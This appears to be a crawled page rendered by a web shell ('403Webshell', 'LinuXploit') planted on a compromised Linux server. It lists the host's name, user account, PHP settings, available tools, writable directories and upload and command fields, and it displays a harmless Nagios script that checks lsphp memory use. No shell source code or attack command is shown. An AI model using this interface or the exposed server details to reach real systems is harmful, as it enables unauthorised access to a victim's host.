403Webshell
Server IP : 172.64.80.1  /  Your IP : 216.73.216.175
Web Server : LiteSpeed
System : Linux srv13.swhc.ca 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : hongluck ( 2522)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/check_lsphp_mem.sh
#!/bin/bash

# Check total lsphp processes and total memory usage (RSS)

# Number of lsphp processes
PROCS=$(pgrep -c lsphp 2>/dev/null || echo 0)

# Total RSS in KB of all lsphp processes
RSS_KB=$(ps -o rss= -C lsphp 2>/dev/null | awk '{s+=$1} END{print s+0}')

# Convert to MiB (float with 2 decimals)
RSS_MB=$(awk -v rss_kb="$RSS_KB" 'BEGIN {printf "%.2f", rss_kb/1024}')

# You can add WARN/CRIT thresholds here later if you want
STATE="OK"
EXITCODE=0

# Plugin output (Nagios/Icinga style)
# Human text | perfdata
echo "${STATE} - lsphp procs=${PROCS}, mem=${RSS_MB}MB | lsphp_procs=${PROCS};;;; lsphp_mem_mb=${RSS_MB};;;;"

exit ${EXITCODE}


Youez - 2016 - github.com/yon3zu
LinuXploit